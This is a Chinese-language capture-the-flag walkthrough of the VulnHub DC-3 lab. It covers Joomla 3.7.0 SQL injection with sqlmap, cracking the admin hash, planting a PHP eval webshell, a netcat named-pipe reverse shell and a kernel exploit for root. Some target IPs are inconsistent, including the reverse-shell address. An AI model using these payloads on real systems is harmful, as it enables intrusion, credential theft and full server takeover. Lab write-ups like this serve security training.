实验环境搭建:
当出现DE 设备 (磁盘/CD-ROM)配置不正确。“ide0:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide0:1”移到“ide0:0”。错误时,
将IDE改为0:0即可
在这里插入图片描述
KAI和DC-3都用NAT模式
下载靶场环境
靶场下载地址:DC: 3.2 ~ VulnHub
渗透靶场
1.信息收集,寻找靶机真实的IP
靶场IP为:192.168.32.0/24
使用nmap -sP 192.168.32.0/24或者使用arp-scan -l,查看网段所有的主机,可以得到DC1的IP地址
nmap -sP 192.168.32.0/24
arp-scan -l
靶机的IP是:192.168.32.135
192.168.321 vm8网卡
192.168.32.2 网关
192.168.32.135 靶机
192.168.32.254 DHCP服务器
192.168.32.132 kali本机
2.信息收集以及探端口及服务
nmap -A -p- -v 192.168.32.135
-A 综合性扫描
-v 冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息
发现开放了80端口,存在web服务,Apache/2.4.18,CMS为Joomla
他想告诉我们的是DC-3实战,任务是获得root权限
3.利用JoomScan进行扫描获取后台地址
由于我们前面采用nmap进行扫描时我们已经发现了中间件为joomla,我们可以采用joomscan进行扫描,如果我们不知道是joomla,我们可以采用目录扫描或者nikto等扫描工具进行扫描。发现更多的信息。
JoomScan简介
OWASPJoomla!漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外,OWASP JoomScan使用起来非常简单,不仅提供了非常友好的用户界面,而且还能够以HTML或文本格式导出扫描报告。
JoomScan简单使用
执行默认检测:
perl joomscan.pl --url www.example.com
perl joomscan.pl -u www.example.com
枚举已安装的组件:
perl joomscan.pl --url www.example.com --enumerate-components
perl joomscan.pl -u www.example.com –ec
设置cookie:
perl joomscan.pl --url www.example.com --cookie "test=demo;"
设置user-agent:
perl joomscan.pl --url www.example.com --user-agent "Googlebot/2.1(+http://www.googlebot.com/bot.html)"
perl joomscan.pl -u www.example.com -a "Googlebot/2.1(+http://www.googlebot.com/bot.html)"
设置随机user-agent
perl joomscan.pl -u www.example.com --random-agent
perl joomscan.pl --url www.example.com -r
更新JoomScan:
perl joomscan.pl –update
joomScan扫描
apt install joomscan
joomscan --url http://192.168.32.135 提示没有joomscan 选择y安装
joomscan -u 192.168.32.135 扫描页面
并未检测到相关漏洞,但检测到了后台路径和joomla 3.7
得到了网站后台地址http://192.168.32.135/administrator/
4.利用nikto扫描获取后台地址
1.Nikto简介
Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。
2.Nikto简单使用
1、常规扫描
nikto -host/-h http://127.0.0.1
nikto -h http://127.0.0.1
2、可以指定端口进行扫描,同样可以指定SSL协议,进行HTTPS扫描。
nikto -h http:// 127.0.0.1 -p 443 ssl
3、指定子目录进行目录爆破
nikto -h http:// 127.0.0.1 -C /dvwa
4、批量扫描
nikto -host list.txt
5、升级更新插件
nikto -update
6、查看工具版本和插件版本
nikto -V
7、查看插件信息
nikto -list-plugins
8、命令查看帮助信息
nikto
9、查看更详细的帮助信息
nikto -H
man nikto
3.Nikto扫描
我们前面已经知道了CMS是joomla,并且知道了后台地址,针对于这一个靶场这一步没有任何意义,这里只是提供一个思路,目录扫描,这里就不拓展了。
nikto --url http://192.168.32.135/
5.查找漏洞发现存在SQL注入
我们前面知道了CMS为joomla,版本为3.7.0
所以可以使用searchsploit检查到有对应的漏洞
我们发现有一个SQL注入,还存在一个XSS
我们可以查看这个漏洞的提示信息
searchsploit -m 42033.txt
cat 42033.txt
我们看到了POC,我们去验证一下,把localhost修改为我们的靶机IP就可以了
看到提示,数据库语句错误,说明进行了拼接,存在SQL注入
6.sqlmap跑出数据
跑出所有数据库
sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch
成功的把数据库扫出来了
获取当前数据库的名字joomladb
sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch
sqlmap -u "http://192.168.32.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch
获取joomladb的users表的字段名
sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
第一个Y
第二个y不要使用默认的,不然会出错
第三个选项随意我这里是1
第四个10
跑出来6个字段
获取目标字段username和password
sqlmap -u "http://192.168.32.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
获得结果如下
拿到一个用户名和加密的密码
利用john爆破密码snoopy
使用john破解出admin密码,john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。
创建一个1.txt,把加密的密码字段写入
使用john破解出admin密码是snoopy
利用获取到的账号密码进行登录
http://192.168.32.135/administrator/
admin/snoopy
登陆成功
7.上传webshell
发现一个上传点
点击Beez3 Details and Files进入
点击newfiles
这儿我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑
要上传木马,我们先要找到当前文件所在的目录:
http://192.168.32.135/templates/beez3/html/
回到刚才的页面点击new file
在html下创建一个php文件,名字叫做shell
创建成功之后,跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存
<?php
echo ("密码是a");
@eval($_REQUEST [a]);
?>
再次访问http://192.168.32.135/templates/beez3/html/
发现多了一个shell.php文件,我们访问一下
访问webshell,得到我们设置的会先内容,文件上传成功
http://192.168.32.135/templates/beez3/html/shell.php
8.蚁剑管理webshell
右键添加数据
右键进入虚拟终端执行whaomi查询我权限,是www-data权限
9.反弹shell到kali
蚁剑看到的终端不如kali清晰,反弹一个shell到kali
kali监听
nc -lvvp 1234
靶机连接
nc -e /bin/bash 192.168.32.135 1234
此时我们发现-e参数不可用
使用如下目录连接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.32.135 1234 >/tmp/f
ls
10.创建交互式shell
经常用shell的都知道这个shell不好用,我们建立一个交互式shell
常用的就是python创建交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
11.使用辅助脚本发现提权漏洞
下载辅助脚本Linux-Exploit-Suggester.sh
下载地址:
GitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing tool
上传辅助脚本
我们可以直接在蚁剑中上传
上传成功
发现漏洞
ls -l linux-exploit-suggester.sh
这时候我们发现没有执行权限,我们给他加个执行文件
chmod +x linux-exploit-suggester.sh
执行脚本
./linux-exploit-suggester.sh
发现很多可利用漏洞
12.使用辅助脚本提权
获取提权脚本
上面发现了很多漏洞,这里我们挑一个进行提权
挑选CVE-2016-4557
在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载
也可以去searchsploit里面去看看
地址根上面一样也不能使用
可以使用下面地址直接下载
bin-sploits/39772.zip · main · Exploit-DB / Binary Exploits · GitLab
cd 33792
ls
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
执行完之后,提权成功
获得root权限
13.发现the-flag.txt
ls
cat the-flag.txt
到这就结束了,有哪里不完整不完善的欢迎评论区留言